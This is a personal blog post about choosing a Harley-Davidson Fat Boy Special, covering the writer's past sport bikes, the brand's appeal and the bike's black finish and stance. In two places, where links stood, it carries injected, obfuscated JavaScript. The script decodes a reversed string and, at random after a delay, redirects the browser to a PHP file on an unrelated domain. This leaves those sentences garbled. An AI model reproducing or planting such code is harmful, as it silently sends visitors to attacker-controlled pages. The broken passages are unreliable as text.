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I won’t go so far as to say it was love at first sight, but when I saw this Vivid Black Fat Boy Special staring back at me from across the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/harley-davidson-abu-dhabi-steve-beattie-not-just-a-destination/” target=”_blank”>Harley-Davidson showroom, I knew this was the bike I was going to buy.
Why this one in particular? Well, there are a few different reasons.
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Let’s start with the fact that this is a Harley, and – since I may as well be frank from the get-go – the newest addition to my garage was always going to be a Harley-Davidson. I’ve been hooked on bikes since I first clambered behind the handlebars at 16 years of age, and the rush was instantaneous. The sense of freedom was unlike anything I’d ever experienced, and all of a sudden I was fixated on bigger thrills and higher speeds (old rides such as my Honda CBR 1000 Fireblade and BMW K1200R readily spring to mind here).
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But that was then, and this is now, and some scrapes in between have made me realize that these sporting behemoths are no longer what I’m looking for on a day-to-day basis.
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Who says for instance that ‘the rush’ has to come from hooning at high speeds or zigzagging through traffic, with just a knife-edge separating one’s shirtsleeves from SUVs and school buses. I prefer to ride sports bikes when I’m going for a blast on the twisties, but the rush, as far as I’m concerned, also comes from the sense of occasion: the sound and feel of the wind rushing across your arms and through your hair; the comfort of cruising at leisure as opposed to ‘finding the limit’; the sense of character a bike instills not just in its rider but the populace at large.
And after $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/harley-davidson-celebrating-110-years/” target=”_blank”>nearly 110 years of embedding this mentality into each of its bikes, I’d question who does this better than Harley-Davidson: a fine balance of retro style and modern engineering.
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So, a Harley it was then. Many weeks of research and riding many different models – plus the wonderful advice of General Manager of Harley-Davidson UAE Steve Beattie – eventually led me to the Fat Boy Special. Inevitably, it was the ride that convinced me to sign on the dotted line, but I’ll get to that in a second. What really struck me at first were the looks.
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Truth be told, I’m not a big fan of chrome: it’s a little too gharish for my tastes. The overriding Vivid Black of this model then, intermixed with blacked out and polished silver accents, was exactly the look I had in mind: heritage and a sense of rebellion, but with a contemporary tweak. The headlamp and tank are retro through-and-through, but the bespoke Bullet Hole front wheel discs, hidden rear shocks, and anti-lock brakes are anything but.
And that suits me just fine. I’m not yearning to recreate the halcyon days of ‘ole town America, but that doesn’t mean I can’t put the rose tinted glasses on from time-to-time.
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The stance is another key feature to the Fat Boy, with widened forks and bare-knuckle handlebars and the more performance savvy 17” wheels and 200mm wide rear tires gives the bike a harder look.
